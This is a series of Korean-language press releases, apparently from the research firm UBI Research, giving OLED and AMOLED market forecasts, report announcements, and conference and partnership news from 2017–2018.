대면적 AMOLED 양산 가능 면적은 2017년 400만 ㎡에서 2020년 840만 ㎡로 약 2배 가량 증가 하며, 중소형 AMOLED 양산 가능 면적은 2017년 910만 ㎡에서 2020년 3,200만 ㎡로 약 3.5배 증가할 것으로 전망된다.

업체별로는 LG디스플레이가 2018년부터 2020년까지 전체 AMOLED 양산 가능 면적이 690만 ㎡ 증가하여 가장 높은 증가세를 보였으며, 뒤이어 삼성디스플레이가 580만 ㎡, BOE가 440만 ㎡ 증가할 것으로 분석 됐다.

한편, 중소형 AMOLED 양산 가능 면적만 비교해보면 삼성디스플레이가 580만 ㎡ 증가하여 투자가 가장 많을 전망이며, 뒤이어 BOE가 400만 ㎡, LG디스플레이가 290만 ㎡ 증가할 것으로 분석 됐다.

<업체별 중소형 AMOLED 양산 가능 면적>

유비리서치 이충훈 대표에 따르면 LG디스플레이의 중국 대면적 AMOLED 양산라인 투자로 2020년 전체 AMOLED 생산 가능 면적에서는 LG디스플레이가 BOE 대비 2배 이상 앞선다. 하지만 중소형에서는 생산 가능 면적에서 2019년부터 BOE가 LG디스플레이를 추월할 전망이다.

 

AMOLED Display Market Track은 investment data, market performance, market forecast, ASP, cost analysis, competitiveness analysis 등으로 구성되어 있다. 이번에 발간한 investment data에는 업체들의 투자 히스토리와 현 상황, 3년 후의 투자 전망에 대한 부분을 라인별로 상세히 담고 있으며, 다양한 측면에서 분석한 data와 그래프를 엑셀 형태로 제공한다.

유비리서치, ‘2018 OLED KOREA Conference’ 3월 7~8일 개최

글로벌 OLED 컨퍼런스인 OLED Korea Conference가 3월 7일 (수)부터 8일 (목)까지 개최된다.

이번 제 4회 OLED Korea Conference는 양일간 서울 노보텔 앰베서더 호텔에서 ‘OLED with opportunity & adding value to your business’라는 테마로 진행되며, 주제별 발표와 함께 다양한 정보와 의견 교환의 장이 마련될 것으로 기대를 모으고 있다.

높은 성장세를 지속하고 있는 OLED 산업은 올해 중소형 시장에서 LCD의 점유율을 넘어서고 대형 TV 시장도 크게 성장 할 것으로 전망되고 있다. OLED 전문 조사기관인 유비리서치에 따르면, Mobile 기기용 중소형 OLED panel 출하량은 올해 6.3억대로 작년 대비 53.2% 성장하고 TV용 OLED panel 출하량은 약 240만대로 작년 대비 47.2% 성장할 것으로 예상하였다.

이번 컨퍼런스에서는 Microsoft, Boeing, Sony 등 글로벌 유명업체와 3M, Applied Materials, Corning, Cynora 등 선도 기업을 포함하여, OLED 패널 업체, set 업체, 재료/장비 업체, 대학/연구소 등 OLED display 관련 국내외 전문가 25명이 ▲ View from Panel Makers about OLED Market ▲ Solution Process Technology, yet to come ▲ New Performance Development from Major SCMs ▲ New Technology Discussions for Next Generation Display or Better Process라는 주제로 발표를 할 예정이다. 또한, 유비리서치와 일본 미즈호 증권, 프랑스 시장조사 업체 Yole development에서 ‘Opinion from Business and Industry Analysts’라는 제목으로 강연도 계획되어 있다.

특히 2017년 OLED 산업의 가장 큰 이슈 중 하나였던 Sony 최초의 OLED TV 출시에 대해 Sony의 Yoshihiro Ono TV사업부장이 ‘Designs for BRAVIA OLED TV and Expectations for large screen OLED devices’란 제목으로 OLED 채택 배경과 BRAVIA OLED TV 개발 히스토리, 타사의 OLED TV와 차별점에 대해 발표할 예정이다.

OLED 산업의 동향과 발전 방향을 확인할 수 있는 제 4회 OLED KOREA Conference는 200여명 이상의 국내외 주요 전문가 및 산업 종사자들이 참여할 것으로 예상되며, 네트워킹의 기회와 함께 관련 정보 및 노하우에 대한 지속적인 교류가 가능하도록 기획되어 많은 관심을 받고 있다. 자세한 사항은 www.oledkoreaconference.com 에서 확인할 수 있다.

OLED 전문 글로벌 리서치 기관 UBI Research, 심천시 디스플레이업 협회 해외 전문가로 초빙 받아

<우측: 심천시 디스플레이업 협회 부사장 겸 사무국장 Jeff Kwok(郭灝明, Executive Deputy), 좌측 : UBI Research 대표 이충훈(李忠壎)>

지난 11월 25일 심천시 디스플레이업 협회 부사장 겸 사무국장 Jeff Kwok(郭灝明, Executive Deputy)은 OLED 전문 글로벌 리서치 기관 UBI Research 대표 이충훈(李忠壎)을 협회의 해외 전문가로 정식 초빙하였다.

심천시 디스플레이협회는 2005년 1월에 30여개 주요 기업이 앞장서서 설립하였으며, 2009년 터치스크린 분회를 설립하였다. 이는 중국에서 최초로 설립한 디스플레이협회로 회원은 국내외를 모두 아우르며, 선전시의 지역 한계를 뛰어넘어 현재 중국 내에서 규모와 영향력이 가장 크며 산업발전을위해 활발하게 활동하고 있다. 2014년 선전시 디스플레이업 협회는 전문가 위원회를 설립하여 회원단위 및 산업에 관련된 기업의 요구사항에 가까워지기 위해 노력하였고 기술 자문서비스등 다양한 서비스를 제공하고 있다.

협회전문가 위원회는 모두 각 영역의 기술전문가나 업계의 정상급 분석가들로 구성되어 있다. 구성원들은 국내외 디스플레이산업의 전후방에 걸쳐 기업, 학교, 과학연구기관, 업계 분석기관등에서 초빙되었으며 중국 디스플레이산업의 건강한 발전을 위해 탄탄한 인재기반을 구축하기위해 노력하고 있다.

UBI Research는 심천 디스플레이협회의 전문가위원회 참여를 통하여 OLED 산업에서 글로벌 리서치 기관으로서 한국과 중국, 나아가 전세계 OLED 산업발전 기여를 위해 더욱 노력할 의사를 밝혔다. 중요한 시장으로 인식되고 있는 중국 디스플레이산업에서 다양한 기업들과 관계구축을 통해 OLED 산업에서 보다 신뢰할 만한 시장 분석 서비스를 제공할 예정이다.

Flexible OLED 2019년을 기점으로 OLED Panel 시장 주도

Flexible OLED 출하량이 2019년에는 rigid OLED의 출하량을 넘어설 것으로 전망됐다. 유비리서치가 발간한 ‘2017 Flexible OLED Annual Report’에 따르면, flexible OLED는 2019년에는 4억 8,000만개가 출하되어 4억 900만개의 rigid OLED 출하량을 넘어설 것으로 전망했다. 또한, Flexible OLED 출하량은 2018년부터 연평균 41% 성장하여 2022년에는 12억 8,500만개 규모를 형성하고 매출액은 594억 달러를 기록할 것으로 예상했다.

<2018~2022년 OLED 기판별 시장 점유율 전망, 출처: 유비리서치>

최근 Mobile 기기의 하드웨어 기술이 상향 평준화 되면서 premium 시장을 목표로 하는 set 업체들은 OLED를 채용하며 제품 차별화를 시도하고 있다. 특히, 같은 size의 mobile 기기에서도 더 넓은 화면을 원하는 소비자들의 니즈가 증가함에 따라 set 업체들은 full screen이 가능한 flexible OLED를 도입하기 시작하였다.

이에 따라 panel 업체들도 flexible OLED 양산을 위한 투자를 지속적으로 진행하고 있다. 특히, 2018년부터 BOE와 CSOT, Visionox 등 중국 panel 업체의 Gen6 flexible OLED 양산 투자가 본격적으로 시작될 것으로 예상됨에 따라, 중국의 flexible OLED 출하량은 연평균 59% 성장해 2022년에는 3억 5,400만개에 달할 것으로 전망됐다.

본 보고서에서는 rigid OLED와 flexible OLED의 구조와 공정을 비교하고 foldable OLED 구현을 위한 기술개발 동향을 layer별로 분석하였다. 또한, full screen OLED가 적용 된 mobile 기기를 출시한 Samsung Electronics와 Apple, LG Electronics의 flexible OLED 적용 기술을 비교하였으며 2018년부터 2022년까지의 flexible OLED 시장을 flexible type과 국가별, 세대별 등 다양한 관점에서 분류하여 전망하였다.

본 보고서에 따르면, flexible OLED 중 full screen OLED는 2018년 2억 6,500만개가 출하되어 82.1%의 시장 점유율을 차지하고 2022년에는 10억 2,200만개가 출하되어 79.5%의 점유율을 차지하며 flexible OLED 시장을 주도할 것으로 전망하였다. 또한, 최근 큰 주목을 받고 있는 foldable OLED는 2019년부터 500만개가 출하되고 2022년에는 5,300만개가 출하될 것으로 예상하였다.

<2018~2022년 Foldable OLED 출하량 전망, 출처: 유비리서치>

 

2017년부터 2021년까지 OLED Mobile 기기용 검사 · 측정장비 시장 66.3억 달러 기대

Mobile 기기의 panel 문제로 인해 소비자들의 불편이 가중되면서, 최근 각 panel 업체들은 검사 · 측정을 강화하고 있다.

 

검사 · 측정은 제품의 품질과 성능 향상뿐만 아니라 고객 만족을 통한 브랜드 이미지 제고에 기여할 수 있다. 또한, 각 공정에서 제품의 정상 유무를 실시간으로 점검할 수 있어 공정 안정화를 통한 생산성, 수율 향상이 가능할 것으로 예상된다.

 

유비산업리서치가 발간한 ‘2017 Inspection and Measuring Equipment Report for OLED Mobile Device’에 따르면, OLED 전체 장비 시장 중 검사 · 측정장비 시장은 2017년부터 2021년까지 총 66.3억 달러(약 7.3조원) 규모가 될 것으로 전망하고 있다. 2018년에는 14.5억 달러(약 1.6조원)의 OLED 검사 · 측정장비 투자가 진행 될 것으로 예상하고 있으며, 2019년에는 16억 달러(약 1.8조원)의 가장 많은 투자가 진행 될 것으로 전망하고 있다.

 

이충훈 대표이사는 Samsung Display는 A5 Gen6 flexible OLED line 투자를 진행중이며 LG Display는 OLED 매출 비중을 끌어올리기 위한 대규모 투자 내용 발표, BOE와 CSOT 등 중국의 OLED panel 업체들도 OLED 라인 투자를 적극적으로 진행하고 있기에 검사 · 측정장비는 지속적으로 수요가 있을 것으로 예상하고 있다.

 

본 보고서에서는 2017년부터 2021년까지의 검사 · 측정장비 시장을 다양한 관점에서 분류하여 전망하였다. 본 보고서에 따르면, 기판과 TFT에 사용되는 장비는 2017년부터 2021년까지 50.6%로 가장 큰 시장 점유율을 보이고 Cell은 29.7%, OLED 화소는 12.7%, encapsulation은 7% 순으로 전망하였다. 검사 · 측정 항목으로 분류한 장비 시장은 패턴검사가 33.1%, repair 21.3%, 점등 16.4% 순으로 나타났다.

 

마지막으로 검사 · 측정장비의 핵심 장비인 AOI 장비와 laser repair 장비는 2017년부터 2021년까지 각각 23.3억 달러와 14.1억 달러의 시장을 형성할 것으로 전망하고 있다.

<2017~2021년 OLED mobile 기기용 검사 · 측정장비 시장 전망>

Solution Process OLED, WRGB 보다 최대 40% 부품소재비용 절감 가능.

유비리서치에서 발간한 “2017 Solution Process OLED Annual Report”에 따르면 solution process(ink-jet printing)공정을 대면적 OLED에 적용시 현재 양산에 사용중인 증착방식을 적용한 WRGB 공정대비 최대 40%의 부품소재 비용, 약 18%이상의 제조원가 절감 가능성이 있는 것으로 분석했다.

Solution process는 대면적 OLED panel을 Gen8 이상의 장비에서 원장 분할 없이 RGB pixel 구조로 제조할 수 있는 기술이다.

유비리서치 장현준 선임연구원은 “Solution process가 적용된 OLED는 20 Layer 적층구조로 이루어진 WRGB OLED에 비해 5 Layer만으로 이루어져 패널 구조가 단순하다. WRGB OLED 공정은 발광재료 사용 효율이 약 40%에 불과한데 반해 Solution process 적용시 90% 이상으로 발광재료 사용 효율을 향상시킬 수 있다. 따라서 발광재료 사용량을 크게 감소시킬 수 있어 원가절감에 큰 기여를 할 것으로 기대된다. 또한 color filter를 사용하지 않는 것 또한 패널 제조 원가를 감소 시킬 수 있는 요인이다”라고 언급하였다. 이에 덧붙여 “ Soluble 발광재료 kg당 가격책정이 “원가절감”에 중요한 부분이 될 것이며, soluble 발광재료 사용시 유기재료 사용량은 크게 감소 하지만 solvent 비용과 제조비용, 개발비용으로 인한 가격상승 역시 고려해봐야 할 점”이라고 강조했다.

Solution Process 공정기술은 대면적 OLED의 대중화를 이끌 수 있는 핵심 기술로서 지속적으로 주목받고 있으며 주요 AMOLED panel 업체들 개발을 진행 중에 있다.

기술적인 관점에서 보면 solution process OLED는 기존 증착재료를 ink화 시키기 위해 다양한 solvent를 섞는다. 이때문에 증착재료보다 순도가 낮아 발광효율이 떨어지고 수명이 낮다. 이는 지난 몇 년간 panel 업체들과 재료업체들의 주요 과제였으며 이를 개선하기 위해 DuPont과 Merck, Sumitomo Chemical 등에서 적극적으로 soluble OLED 발광재료를 개발해왔다. 특히 증착재료와 마찬가지로 blue 재료의 성능개선에서 어려움을 겪어왔으나 현재는 상당부분의 기술 개발이 이루어져와 증착재료 대비 약 80% 수준의 수명과 효율을 확보한 것으로 나타났다.

이번에 발간된 2017 Solution Process OLED Annual Report에서는 WRGB OLED와 solution process OLED의 경쟁력을 공정, 재료, cost 측면에서 비교분석하였으며, 핵심이슈와 soluble OLED 발광재료 개발 현황과 주요 업체 동향, solution process OLED 시장을 다양한 관점에서 분석하였다.

<WRGB OLED와 solution process OLED 제조 원가 비교, UBI Research “2017 Solution Process OLED Annual Report”>

 

유비리서치, 2017 OLED 광원 보고서 발간 : LG Display, 조명용 OLED 패널 본격 양산, 본격적인 시장 개화 기대

■ LG Display 9월 말부터 5세대 조명용 OLED 패널 양산 시작

■ 2021년 OLED 조명 패널 시장 약 19억 달러, 2025년 약 58억 달러의 규모 형성 예상

 

 

LG Display가 9월 말부터 5세대 조명용 OLED 패널 양산을 시작할 예정으로 OLED 조명 시장이 본격적으로 개화 될 수 있을지 관심이 집중 되고 있다. LG Display에 따르면 월 생산 규모는 15K로서 추후에는 90K까지 설비를 증설 할 것으로 알려졌다.

 

유비리서치가 8일 발간한 ‘2017 OLED Lighting Annual Report’에 따르면, 전세계 OLED 조명 패널 시장은 2020년부터 크게 성장해 오는 2021년에는 약 19억 달러의 규모를 형성할 것으로 전망했다. 또한 2017년부터 2025년까지 연평균 85%의 성장률을 보이며 2025년에는 58억 달러의 규모를 형성할 것으로 예상했다.

 

OLED 조명은 얇고 가벼우며 유연한 패널 구현이 가능하기 때문에 설치 공간의 제약이 없고 디자인 자율성이 뛰어나다. 또한, 발열과 flicker 현상이 적고 편안한 분위기를 조성할 수 있기 때문에 일반 실내 조명 뿐만 아니라 차량용과 전시용, 의료용으로 OLED 조명이 채용되고 있다.

 

하지만 OLED 조명 시장은 모바일 기기와 TV에 적극 적용되고 있는 OLED 디스플레이 시장에 비해 더딘 성장세를 보였다. Osram은 주로 차량용 OLED 조명에 개발을 집중하고 있으며 Philips는 OLED 조명 사업부를 OLEDWorks에 매각했다. 또한, Sumitomo와 Konica Minolta 등의 일본 패널업체들도 산업용이나 의료용 등 다각도로 OLED 조명을 개발 중이지만 큰 성장세를 보이진 못했다.

 

이번 LG Display의 Gen5 OLED 양산라인 본격 가동으로 조명용 OLED panel 가격이 100 x 100 mm기준 US$ 10 이하로 떨어질 것으로 기대되고 있으며 이를 바탕으로 실내 조명 뿐만 아니라 차량용 조명, 전시용 조명 등 다양한 분야에 걸쳐 적용 될 것으로 보여 더딘 성장세를 보이는 OLED 조명 시장의 활력소가 될 수 있을지 귀추가 주목되고 있다.

 

유비리서치는 LG Display가 2017년 전세계 조명용 OLED 패널 시장의 약 70% 점유율을 차지할 것으로 예상했으며 2020년에도 약 50%의 점유율로 OLED 조명 패널 시장을 지속적으로 리딩할 것으로 전망했다.

 

한편, ‘2017 OLED Lighting Annual Report’는 차세대 조명시장 동향과 유망 application 분석, LG Display 투자에 따른 OLED lighting cost 분석, 조명용 OLED 시장 전망 등을 기술하여 OLED 조명 산업의 큰 흐름을 파악할 수 있도록 하였다. 특히, 조명용 OLED 시장 전망과 조명용 OLED 소재 시장 전망, 조명용 OLED 장비 시장 전망을 다양한 관점에서 분석하였기 때문에 관련 업체들의 OLED 조명 시장 파악에 도움이 될 것으로 기대 된다.

 

< 전체 OLED 조명 panel 매출액 전망>

OLED Encapsulation, TFE가 대세

■ 모든 edge type과 full screen용 flexible OLED에 TFE 적용 예상

■ PECVD 장비, 전체 encapsulation 장비시장의 62% 점유

 

유비리서치에서 발간한 ‘2017 OLED Encapsulation Annual Report’에 따르면 OLED encapsulation 기술 중 TFE(thin film encapsulation)가 2021년 전체 OLED panel의 약 70%에 적용될 것이며, 핵심 encapsulation 기술이 될 것으로 내다봤다.

 

OLED display trend는 최근 edge type에서 bezel을 최소화하여 full screen을 구현하는 형태로 진행되고 있으며, flexible OLED가 full screen 구현에 최적화된 display로 손꼽히고 있다. 따라서 Samsung Display와 LG Display를 비롯한 중국 panel 업체들도 rigid가 아닌 flexible OLED 양산라인 투자에 주력하고 있는 상황이다.

Flexible OLED는 얇고, 휘어질 수 있어야 하므로 glass를 사용하는 frit encapsulation은 적합하지 않아 TFE(thin film encapsulation) 또는 hybrid encapsulation이 적용되어야 한다.

TFE는 얇은 무기물과 유기물을 적층하여 형성하는 구조로 개발 초기에는 11 layers의 유,무기 적층으로 복잡한 공정과 낮은 수율이었으나 현재는 3layers까지 감소시켜 생산성과 수율, 비용을 크게 향상되어 대부분의 flexible OLED에 적용되고 있다.

 

<Thin film encapsulation 개발 history, ‘2017 OLED Encapsulation Annual Report’>

 

 

일부 flexible OLED에는 barrier film을 사용하는 hybrid encapsulation도 적용되고 있으나 높은 가격의 barrier film과 상대적으로 두꺼운 두께 등으로 인하여 최근 진행되고 있는 투자는 모두 TFE가 적용되고 있는 추세이다.

 

유비리서치의 장현준 선임연구원에 따르면 “TFE encapsulation은 edge type과 full screen type의 flexible OLED panel에 지속적으로 적용될 것으로 예상되며, 관련 장비와 재료시장이 지속적으로 성장할 것”이라 밝혔다.

 

보고서에 따르면 TFE의 핵심 장비는 무기물을 형성하는 PECVD와 유기물을 형성하는 ink-jet printer이며, 특히 PECVD는 TFE 뿐만 아니라 hybrid encapsulation의 무기막 형성에도 적용된다. 따라서 PECVD 시장은 2017년부터 2021년까지의 68.2억달러의 시장 규모로서 전체 encapsulation 장비시장에서 약 62%를 차지할 것으로 예상했다.

 

<PECVD 장비 시장 규모, 2017, ‘2017 OLED Encapsulation Annual Report’>

 

이번에 발간된 보고서에서는 encapsulation의 개발 히스토리와 동향, 주요 Panel 업체들의 동향을 비롯하여 encapsulation 관련 핵심 장비들과 재료 시장을 다루고 있다.

AR과 VR 시장, 2019년 본격 확대 – 그 동력은?

■ 2021년 AR과 VR 전체 매출액 587억 달러 전망

■ UHD 컨텐츠 양산과 VR용 대용량 컨텐츠의 빠른 전송이 가능한 5G가 도입 되는 2019년 본격 확대 예상

 

최근 ICT(Information and Communications Technologies) 기술의 발전에 따라 4차 산업혁명이 새로운 성장 동력으로 주목 받고 있으며, 주요 기술 중 하나인 증강현실(Augmented Reality, 이하 AR)과 가상현실(Virtual Reality, 이하 VR)의 관심도 높아져 Oculus Rift나 Gear VR과 같은 제품이 지속적으로 출시 되고 있다.

 

상품으로 출시된 AR제품은 Microsoft의 HoloLens, Google의 Google Glass 등의 glass 타입이 있으며 VR 제품은 Oculus VR의 Oculus Rift와 HTC의 Vive, Sony의 PlayStation VR 등의 HMD(Head Mounted Display)-based VR 타입과 Samsung Electronics의 Gear VR 등의 Smartphone-based VR 타입이 있다.

 

7일에 발간 된 유비리서치의 AR과 VR용 디스플레이 시장 보고서에 따르면 2017년 AR과 VR 제품이 1,700만개 출하되어 39억 달러 규모의 매출액을 형성할 것으로 예상하였다. 특히, UHD 컨텐츠 양산과 VR용으로 대용량 데이터를 지연시간 없이 빠른 속도로 처리 또는 스트리밍 하기 위한 5G가 2019년부터 도입 될 것으로 예상됨에 따라 AR과 VR 제품 전체 출하량은 연평균 약 54% 성장하여 2021년 9,640만개, 전체 매출액은 587억 달러 규모를 형성할 것으로 전망하였다.

 

본 보고서에서는 AR과 VR 시장 분석을 위해 크게 제품별과 디스플레이별로 시장을 분류하였으며, 상세하게는 AR과 VR 제품 전체시장과 VR 제품 타입별 시장, AR용과 VR용 디스플레이 전체 시장, AR과 VR용 OLED와 기타 디스플레이의 타입별 시장으로 분류하였다.

 

어지러움 없이 몰입감 있는 가상현실을 체험하기 위해 latency와 FOV, refresh rate, 고해상도의 디스플레이 요구조건을 핵심이슈로 선정하여 분석하였으며 2014년부터 2016년까지 출시 된 AR과 VR 제품을 유형별로 정리한 후 디스플레이 종류와 주요 업체들의 제품 등으로 분류하여 비교 분석하였다.

 

또한, Apple과 Facebook 등 주요 IT업체들의 AR과 VR 제품 출시 현황과 관련 특허, 관련 업체 인수 등의 사업 추진 현황을 정리하였으며 주요 패널 업체들의 AR과 VR 제품 전시 동향을 정리하여 관련 업체들이 주요 동향을 파악하는데 도움이 될 것으로 예상된다.

 

유비리서치는 2017년 AR과 VR용 OLED는 260만개, 기타 디스플레이는 240만개 출하되어 시장 점유율은 OLED가 52%, 기타 디스플레이가 48%를 차지할 것으로 예상하였으며 2021년 AR과 VR용 OLED는 5,200만개 출하되어 80%의 시장 점유율을 차지할 것으로 전망하였다.

 

 

<AR과 VR용 디스플레이 타입별 출하량 전망>

 

유비리서치, OLED 제조용 장비 시장 보고서 발간

 

유비리서치 유비리서치 유비리서치

■ 향후 5년간 OLED 전체 장비 시장 849억 달러 전망

■ 한국과 중국 panel 업체의 장비 투자 점유율 90%

 

유비리서치에서 발간한 ‘2017 OLED Manufacturing Equipment Annual Report’에 따르면 OLED 전체 장비 시장은 2017년부터 2021년까지 총 849억 달러(약 93조원) 규모가 될 것으로 전망하였다. 2017년에는 164억 달러(약 18조원)의 OLED장비 투자가 진행된다.

OLED 장비 시장 분석을 위한 장비 분류는 공정별로 크게 TFT, OLED, encapsulation, cell, module 총 5가지로 장비를 분류하였다. 각 공정별 물류 장비와 검사 장비를 포함한 투자 비용을 산출하였으며, touch관련 장비는 시장 분석에서 제외하였다.

 

유비리서치 장현준 선임연구원은 OLED 산업을 주도하고 있는 한국 panel업체들의 지속적인 투자와 후발 주자인 중국 panel업체들의 과감한 투자로 한국과 중국이 OLED 장비 시장을 주도할 것으로 예상하고 있다.

본 보고서에서 국가별 OLED 장비 시장은 2017년부터 2021년까지 중국이 48%, 한국이 42%의 점유율을 보이며 두 국가가 OLED 장비 투자를 주도할 것으로 분석됐다. 2017년과 2018년에 한국과 중국은 328억 달러(약 36조원) 규모로 가장 많은 투자를 할 것으로 전망하였다.

삼성디스플레이는 갤럭시 시리즈와 애플에 적용될 중소형 OLED 라인 투자를 확대하고, LG디스플레이는 대면적 OLED 라인과 중소형 OLED라인을 동시에 투자하고 있다. 중국에서는 BOE와 CSOT가 OLED 라인 투자를 적극적으로 진행할 것으로 보이며, 특히 BOE는 2017년부터 중소형 OLED 라인에 매년 30K 이상을 투자하기 때문이다.

 

<좌) 국가별 OLED 장비 시장 점유율, 우) 공정별 OLED 장비 시장 점유율>

 

 

2017년부터 2021년까지 TFT 장비 45%, OLED 화소 형성 장비 17%, encapsulation 장비 13%, cell 장비 13%, module 장비 12% 순으로 시장 점유율을 차지할 것으로 전망하였다. 향후 flexible OLED 수요가 크게 증가할 것으로 보이면서 cell 장비와 module 장비의 시장 점유율은 25%로서 중요도가 높아질 것으로 분석된다.

2017년 1사분기 AMOLED 실적 분석

유비산업리서치는 2017년 1사분기 AMOLED 매출액이 43.1억 달러로 전년 동기(2016년 1사분기) 대비 15% 증가했다고 밝혔다. 출하량은 9,910만대로 집계 되어 전년 동기 대비 9% 증가한 것으로 나타났다.

AMOLED의 매출액 점유율은 smartphone 88%, TV 7% 순으로 나타났다. 특히 TV 매출액의 점유율은 전년 동기 대비 5% 증가하여 OLED TV 시장이 크게 성장하고 있음을 보여주고 있다.

삼성전자의 갤럭시S8, S8+ 출시와 애플용 AMOLED 패널 양산 시작, 소니, 도시바, 파나소닉 등 일본 업체들의 OLED TV 시장 진입으로 2사분기 이후에도 AMOLED 시장은 성장세를 이어갈 것으로 보인다. Mobile용 AMOLED는 매 분기 1억대 이상이 출하될 것으로 보이며, TV용 AMOLED도 매 분기 30만대 이상의 출하량을 보일 것으로 전망된다.

유비산업리서치는 전체 AMOLED시장이 2020년까지 연평균 33%로 성장하여 약 593억 달러 규모가 될 것으로 예상했다.

<전체 AMOLED 시장 매출액 전망>

발광재료 업체 경쟁력

 

<주요 발광재료 업체 경쟁력 분석 그래프>

유비리서치에서 주요 발광재료 업체 9개사의 2016년 매출 실적과 한국에 출원 또는 등록된 특허 수,디스플레이 업체 양산 제품에 공급중인 재료 종류 수, 2017년 예상 영업력을 바탕으로 경쟁력을 분석하였다.

 

이 결과 2017년에 가장 경쟁력이 높은 업체는 두산으로 나타났다.두산의 경쟁력이 1위로 나타난 이유는 2017년 영업력과 양산제품 수가 가장 높고 특허 활동이 LG화학에 이어 두번째로 높기 때문이다.두산은 2016년에 분석한 순위 대비 7단계나 수직 상승하였다.

경쟁력이 두번째로 높은 업체는 삼성SDI이며 세번째는 UDC로 나타났다.덕산네오룩스는 갤럭시S8용 flexible OLED에 적색 인광 호스트가 채택되어 2016년 대비 순위가 3단계 상승하여 4위로 나타났다.

 

 

 

AMOLED용 발광재료 시장 1조원 시대 눈앞

AMOLED를 사용하는 갤럭시S시리즈의 성공에 이어 애플의 iPhone 마저 flexible AMOLED를 기본 디스플레이로 사용하게 되자 중국의 스마트폰 업체들의 AMOLED 수요가 폭증하고 있다.

MWC2017에서 13개 업체가 AMOLED를 채택한 스마트폰을 전시하였다. 세계 최대 스마트폰 시장인 중국에서 시장 점유율을 확장하고 있는 Huawei, Oppo, Vivo, Xiaomi, ZTE 등이 AMOLED 폰 채택에 적극적이다.

 

<MWC에 참여한 AMOLED 스마트폰 업체 수>

 

이러한 시장 상황에 힘입어 AMOLED용 발광재료 시장은 올해 1조원에 육박할 예정이다.

유비리서치의 장현준 선임연구원은 발광재료 가격이 매년 5~10%씩 가격이 하락하는 것을 감안하고 발광재료 리사이클율을 5~30%로 가정하여 계산했을 때 2017년 발광재료 시장은 9.6억달러에 도달하며 2021년은 33.6억달러 규모로 확대 될 것으로 전망했다.

 

<발광재료 시장 전망>

 

장현준 선임연구원에 의하면 2021년 전체 AMOLED 발광재료 시장 33.6억달러 중에서 애플향AMOLED발광재료 시장이 5.6억달러를 차지할 것으로 전망하였고, 한국이 AMOLED 패널 시장을 주도함에 따라 발광재료 시장 역시 한국이 70%를 차지하며 23.8억달러의 시장이 형성될 것으로 예상하였다.

급팽창하는 OLED 부품소재 시장을 잡아라

삼성 디스플레이가 만들고 삼성전자가 갤럭시에 채용되어 성장하던 OLED 시장에 올해부터는 애플도 가세함에 따라 OLED를 만드는 부품 소재 시장이 급격히 달아 오르고 있다.
OLED 전문 리서치 업체인 유비리서치 이충훈대표(수석 애널리스트)에 따르면 스마트폰용 OLED 제조에 필요한 각종 부품 소재 시장은 올해 87억달러를 형성하고 2021년에는 이보다 4배 이상 큰 380억달러 규모로 성장할 것이라고 언급했다.

<2017 모바일 기기용 OLED 부품소재 보고서, 유비리서치>

스마트폰 OLED용 부품 소재 시장이 급성장하는 가장 큰 이유는 안정적인 삼성전자 갤럭시 성공과 애플 효과, 중국 세트 업체들의 수요 폭발에 기인하고 있다. 이를 반영하듯 삼성디스플레이에 이어 LG디스플레이와 BOE, CSOT, Visionox 등 유수 디스플레이 업체가 모두 앞다투어 6세대 flexible OLED 제조 라인 도입을 서두르고 있기 때문이다. 이러한 추세라면 2021년경에는 스마트폰 시장에서 LCD는 거의 사라질 것이다.

<2017 모바일 기기용 OLED 부품소재 보고서, 유비리서치>

스마트폰용 OLED 부품소재 시장을 국가별로 분류하여 보면 앞도적으로 한국 시장이 크다. 올해 한국의 부품소재 시장은 전체 시장의 95%를 차지하며 2021년에도 72%를 유지할 것으로 전망하고 있다.

OLED 산업은 삼성디스플레이가 주도하고 있어 한국의 부품소재 기업들의 급성장 역시 기대된다. 이충훈대표는 삼성디스플레이가 만든 에코시스템에는 한국중소기업들 또는 한국에 공장을 둔 해외기업들이 대다수를 차지하고 있어, OLED 성장은 곧 한국 중소기업들의 성장으로 직결하게 될 것이라고 전망했다.

[신간 OLED 보고서] 모바일 기기용 AMOLED 부품소재 시장 보고서

AMOLED 부품소재 보고서 발간 보도자료.

유비리서치에서 모바일 기기용 AMOLED 부품소재 보고서를 출간하였다. 이 보고서는 모바일 기기용 rigid AMOLED와 flexible AMOLED를 생산하기 위해 필요한 각종 부품 소재들 중에서 핵심 부품소재 16종을 선별하여 향후 시장을 전망하였다.

<2017 모바일 기기용 OLED 부품소재 보고서, 유비리서치>

본 보고서에 따르면 우선 모바일 AMOLED 제조에 필요한 유리는 기판용과 encapsulation용, flexible AMOLED 제조에 필수적인 PI 기판을 지지할 carrier용으로 분류하였으며 2017년 시장은 92백만 달러로 예상하고 있다. 2021년에는 현재 보다 2배 성장한 1.85억 달러 시장으로 성장할 전망이다.

<2017 모바일 기기용 OLED 부품소재 보고서, 유비리서치>

또한 본 보고서에서는 AMOLED의 최외곽에 부착되는 커버 윈도우 시장에 대해서도 세밀하게 분석하여 전망하고 있다. 커버 윈도우 시장은 현재 rigid AMOLED에 사용되는 2D 커버 윈도우와 flexible AMOLED용 3D 커버 윈도우 시장을 비롯해서 향후 foldable 스마트 폰에 필수적인 플라스틱 커버 윈도우 시장도 전망하고 있다.

이들 3개 종류가 만드는 커버 윈도우 시장은 flexible AMOLED 시장 성장과 함께 급성장하여 2021년은 119억달러 규모가 될 전망이다.

<2017 모바일 기기용 OLED 부품소재 보고서, 유비리서치>

 

 

모바일 기기용 OLED 부품소재 시장 급팽창한다

 

<2017 모바일 기기용 OLED 부품소재 보고서, 유비리서치>

OLED를 제조하는데 필요한 부품과 소재는 기판을 포함하여 TFT, OLED, encapsulation, touch screen, cover window, drive IC 등이 있다.

삼성전자 스마트폰 Galaxy에 의해 주도되던 모바일 기기용 OLED 시장에 Apple과 중국 기업들이 동참함에 의해 삼성디스플레이를 비롯하여 중국 디스플레이 업체들의 Gen6 투자가 봇물 터지듯 증가하고 있다.

이에 따라 OLED 제조에 필수적인 부품소재 시장 역시 급팽창하고 있다.

유비리서치 조사에 의하면 2017년 모바일 기기용 OLED 부품소재 시장은 87.2억달러 규모이나 2021년에는 382억달러까지 급성장할 것으로 전망하고 있다.

국가별로 보면 한국의 부품소재 시장이 2017년 82.7억달러이며 94.9%의 시장을 점유하고 있으나, 2021년에는 중국의 부품소재 시장이 22.3%까지 증가하며 한국의 부품소재 시장은 72.2%로 낮아질 것으로 전망하고 있다.

<2017 모바일 기기용 OLED 부품소재 보고서, 유비리서치>

 

Samsung Display, 2020년까지 스마트폰용 AMOLED panel 시장점유율 70% 유지

